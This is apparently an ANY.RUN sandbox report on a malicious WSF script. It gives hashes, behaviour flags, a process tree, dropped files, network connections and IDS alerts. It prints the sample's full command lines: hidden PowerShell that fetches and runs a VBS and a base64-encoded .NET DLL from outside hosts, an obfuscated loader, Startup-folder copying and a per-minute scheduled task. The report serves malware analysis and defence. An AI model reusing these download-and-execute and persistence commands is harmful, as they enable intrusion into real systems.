analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

USP745896.wsf

Full analysis: https://app.any.run/tasks/f17a1e54-0d31-46b1-87bc-b8b834bb5db6
Verdict: Malicious activity
Analysis date: December 05, 2022, 19:26:44
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: text/plain
File info: UTF-8 Unicode text, with very long lines, with CRLF line terminators
MD5:

6A07F92BE88423EEB9E28632B8729DC3

SHA1:

C91A5794282EB0C821007FA189227FBE11334899

SHA256:

8A8C3FC54739248F595EF1941A8A47936FF45FD102D7E8D23E9D4C358D5A0D24

SSDEEP:

192:LBBBBBBBBBBBsBBBBBsBBBBBsBBBBBsBBBBBsBBBBBsBBBBBsBBBBBsBBBBBsBBm:D

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 2260)
      • cmd.exe (PID: 2324)
    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 2140)
      • schtasks.exe (PID: 3748)
  • SUSPICIOUS

    • Reads settings of System Certificates

      • powershell.exe (PID: 2700)
      • powershell.exe (PID: 2484)
      • powershell.exe (PID: 3588)
    • Executes PowerShell scripts

      • WScript.exe (PID: 2524)
      • WScript.exe (PID: 3068)
      • powershell.exe (PID: 2380)
      • wscript.exe (PID: 3416)
      • powershell.exe (PID: 2992)
    • Executes scripts

      • explorer.exe (PID: 2456)
    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 2484)
      • powershell.exe (PID: 3588)
    • Application launched itself

      • powershell.exe (PID: 2380)
      • powershell.exe (PID: 2992)
    • Executes via Task Scheduler

      • wscript.exe (PID: 3416)
    • Connects to the server without a host name

      • powershell.exe (PID: 3588)
  • INFO

    • Reads security settings of Internet Explorer

      • powershell.exe (PID: 2380)
      • powershell.exe (PID: 2700)
      • powershell.exe (PID: 2484)
      • powershell.exe (PID: 2992)
      • powershell.exe (PID: 3588)
    • Creates a file in a temporary directory

      • powershell.exe (PID: 2700)
      • powershell.exe (PID: 2380)
      • powershell.exe (PID: 2484)
      • powershell.exe (PID: 2992)
      • powershell.exe (PID: 3588)
    • Reads the computer name

      • RegAsm.exe (PID: 284)
      • RegAsm.exe (PID: 2880)
    • Checks supported languages

      • RegAsm.exe (PID: 284)
      • RegAsm.exe (PID: 2880)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
53
Monitored processes
16
Malicious processes
8
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe no specs powershell.exe explorer.exe no specs explorer.exe no specs wscript.exe no specs powershell.exe no specs powershell.exe cmd.exe no specs schtasks.exe no specs regasm.exe wscript.exe no specs powershell.exe no specs powershell.exe cmd.exe no specs schtasks.exe no specs regasm.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3068"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\USP745896.wsf"C:\Windows\System32\WScript.exeExplorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2700"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'https://priceless-maxwell.68-64-160-26.plesk.page/gmvnn.vbs' -o C:\Windows\Temp\PNeYSLdASY.vbs;explorer.exe C:\Windows\Temp\PNeYSLdASY.vbs;Start-Sleep 3;[System.IO.File]::Copy('EAAAU4nCAAA.wsf','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EAAAU4nCAAA.wsf');Start-Sleep 1;rm *.vbs,*.wsfC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
484"C:\Windows\explorer.exe" C:\Windows\Temp\PNeYSLdASY.vbsC:\Windows\explorer.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2456C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -EmbeddingC:\Windows\explorer.exesvchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2524"C:\Windows\System32\WScript.exe" "C:\Windows\Temp\PNeYSLdASY.vbs" C:\Windows\System32\WScript.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2380"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwBXAEwAYgBTAHYAJwA7AFsAQgB5AHQAZQBbAF0AXQAgACQARABMAEwAIAA9ACAAWwBzAHkAcwB0AG⌚⌚⌚AbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwA1AC4ANAAyAC4AMQA5ADkALgAyADMANQAvAGQAbABsAC8AZABsAGwAMgAuAHQAeAB0ACcAKQApADsAWwBzAHkAcwB0AG⌚⌚⌚AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcATgB3AGcAbwB4AE0ALgBLAFAASgBhAE4AagAnACkALgBHAG⌚⌚⌚AdABNAG⌚⌚⌚AdABoAG8AZAAoACcA⌚⌚⌚ABVAGwARwBLAEEAJwApAC4ASQBuAHYAbwBrAG⌚⌚⌚AKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAdAB4AHQALgB2AHYAdQBzAHMALwBlAGcAYQBwAC4AawBzAG⌚⌚⌚AbABwAC4ANgAyAC0AMAA2ADEALQA0ADYALQA4ADYALgBsAGwAZQB3AHgAYQBtAC0AcwBzAG⌚⌚⌚AbABlAGMAaQByAHAALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwBSAG8AZABhACcALAAgACcAMgAnACwAIAAnADEAJwAsACAAJwBBAGgAZgBLAEEAQQBBAEsAOQAyAHQATwBlAGcAJwAgACkAKQA=';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('WLbSv', 'C:\Windows\Temp\PNeYSLdASY.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxDC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2484"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Windows\Temp\PNeYSLdASY.vbs';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://5.42.199.235/dll/dll2.txt'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.vvuss/egap.kselp.62-061-46-86.llewxam-sselecirp//:sptth' , $RodaCopy , 'Roda', '2', '1', 'AhfKAAAK92tOeg' ))"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2260cmd.exe /c schtasks.exe /create /tn "AhfKAAAK92tOeg" /tr "wscript.exe //b //nologo 'C:\Windows\Temp\PNeYSLdASY.vbs'" /sc minute /mo 1 /f & exitC:\Windows\system32\cmd.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2140schtasks.exe /create /tn "AhfKAAAK92tOeg" /tr "wscript.exe //b //nologo 'C:\Windows\Temp\PNeYSLdASY.vbs'" /sc minute /mo 1 /f C:\Windows\system32\schtasks.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
284"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Assembly Registration Utility
Version:
4.0.30319.34209 built by: FX452RTMGDR
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regasm.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\apppatch\acgenral.dll
c:\windows\system32\sechost.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
Total events
14 051
Read events
13 958
Write events
93
Delete events
0

Modification events

(PID) Process:(3068) WScript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3068) WScript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3068) WScript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3068) WScript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2700) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(2700) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(2700) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(2700) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(2700) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(2700) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
Executable files
0
Suspicious files
13
Text files
1
Unknown types
2

Dropped files

PID
Process
Filename
Type
2700powershell.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506binary
MD5:DBACD2475A171C050661D2BABCD66492
SHA256:25A11493ABE9C7C1340EDD93788870F77C65E18BCF6FC92B931B195A2FA9C0D3
2700powershell.exeC:\Users\admin\AppData\Local\Temp\Cab9E73.tmpcompressed
MD5:FC4666CBCA561E864E7FDF883A9E6661
SHA256:10F3DEB6C452D749A7451B5D065F4C0449737E5EE8A44F4D15844B503141E65B
2700powershell.exeC:\Users\admin\AppData\Local\Temp\uwec3zo3.ooz.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
2380powershell.exeC:\Users\admin\AppData\Local\Temp\3dqpla5j.j0o.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
2992powershell.exeC:\Users\admin\AppData\Local\Temp\u4nonxpu.eiw.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
3588powershell.exeC:\Users\admin\AppData\Local\Temp\oispui3l.45s.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
2700powershell.exeC:\Windows\Temp\PNeYSLdASY.vbstext
MD5:3514145272BF8DA045D99A519CCF9053
SHA256:B061660BD6FE00279C8D90040A4306388CCFE9284684DC285E1A7BF91B531DAC
2700powershell.exeC:\Users\admin\AppData\Local\Temp\4mvkh5vr.jt0.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
2992powershell.exeC:\Users\admin\AppData\Local\Temp\eqg3uma1.h5f.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
2700powershell.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506compressed
MD5:FC4666CBCA561E864E7FDF883A9E6661
SHA256:10F3DEB6C452D749A7451B5D065F4C0449737E5EE8A44F4D15844B503141E65B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
7
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2484
powershell.exe
GET
200
5.42.199.235:80
http://5.42.199.235/pe/Pe.txt
RU
text
51.8 Kb
malicious
3588
powershell.exe
GET
200
5.42.199.235:80
http://5.42.199.235/pe/Pe.txt
RU
text
51.8 Kb
malicious
2700
powershell.exe
GET
200
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?94a5123c1e07915c
US
compressed
61.4 Kb
whitelisted
3588
powershell.exe
GET
200
5.42.199.235:80
http://5.42.199.235/dll/dll2.txt
RU
text
13.3 Kb
malicious
2484
powershell.exe
GET
200
5.42.199.235:80
http://5.42.199.235/dll/dll2.txt
RU
text
13.3 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2484
powershell.exe
5.42.199.235:80
IT Resheniya LLC
RU
malicious
2484
powershell.exe
68.64.160.26:443
priceless-maxwell.68-64-160-26.plesk.page
NETRANGE
US
unknown
2700
powershell.exe
68.64.160.26:443
priceless-maxwell.68-64-160-26.plesk.page
NETRANGE
US
unknown
2700
powershell.exe
93.184.221.240:80
ctldl.windowsupdate.com
EDGECAST
GB
whitelisted
284
RegAsm.exe
194.213.3.170:7000
winhost.con-ip.com
Daniel Jackson
GB
unknown
3588
powershell.exe
68.64.160.26:443
priceless-maxwell.68-64-160-26.plesk.page
NETRANGE
US
unknown
3588
powershell.exe
5.42.199.235:80
IT Resheniya LLC
RU
malicious

DNS requests

Domain
IP
Reputation
priceless-maxwell.68-64-160-26.plesk.page
  • 68.64.160.26
unknown
ctldl.windowsupdate.com
  • 93.184.221.240
whitelisted
winhost.con-ip.com
  • 194.213.3.170
unknown

Threats

PID
Process
Class
Message
2484
powershell.exe
Potentially Bad Traffic
ET INFO Terse Request for .txt - Likely Hostile
2484
powershell.exe
Misc activity
ET POLICY EXE Base64 Encoded potential malware
2484
powershell.exe
Potentially Bad Traffic
ET INFO Terse Request for .txt - Likely Hostile
Potentially Bad Traffic
ET INFO DNS Redirection Service Domain in DNS Lookup (con-ip .com)
Potentially Bad Traffic
ET INFO DNS Redirection Service Domain in DNS Lookup (con-ip .com)
3588
powershell.exe
Potentially Bad Traffic
ET INFO Terse Request for .txt - Likely Hostile
3588
powershell.exe
Misc activity
ET POLICY EXE Base64 Encoded potential malware
3588
powershell.exe
Potentially Bad Traffic
ET INFO Terse Request for .txt - Likely Hostile
8 ETPRO signatures available at the full report
No debug info